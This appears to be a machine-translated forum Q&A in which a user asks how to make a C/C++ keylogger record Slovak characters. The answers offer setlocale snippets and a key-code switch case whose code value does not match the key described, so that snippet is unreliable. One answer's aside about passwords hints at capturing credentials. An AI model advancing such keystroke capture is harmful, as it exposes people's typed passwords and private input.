具有特殊按键布局的C ++按键记录器

Question

我想用C / C ++创建键盘记录程序，但是我来自斯洛伐克，我们有一些特殊字符，例如ľ，š，č，ť，ž，ý，á，í...

斯洛伐克语键盘布局图像

但是，当按'č'->我的键盘按键时，它会检测到'4'（在英语键盘上的布局是相同的字符）。
我该如何处理？

Answer 1

您是否尝试过setlocale(LC_ALL, "sk-SK") ？ 斯洛伐克语是sk-SK，但是如果函数无法设置新的语言环境，则不会修改语言环境，并返回空指针。

#include <locale.h>
#include <stdio.h>
#include <time.h>

int main ()
{
   time_t currtime;
   struct tm *timer;
   char buffer[80];

   time( &currtime );
   timer = localtime( &currtime );

   printf("Locale is: %s\n", setlocale(LC_ALL, "sk-SK"));
   strftime(buffer,80,"%c", timer );
   printf("Date is: %s\n", buffer);



   return(0);
}

Answer 2

printf（“ Locale is：％s \\ n”，setlocale（LC_ALL，“ Slovak”））;

输出：区域设置是：Slovak_Slovakia.1250

Answer 3

当检测到4个保存č时，请制作一个开关盒。

case 32 :
keystring = "č";
break;

顺便说一句，为什么要保存那些特殊字符？ 我认为您不能在密码中输入密码。
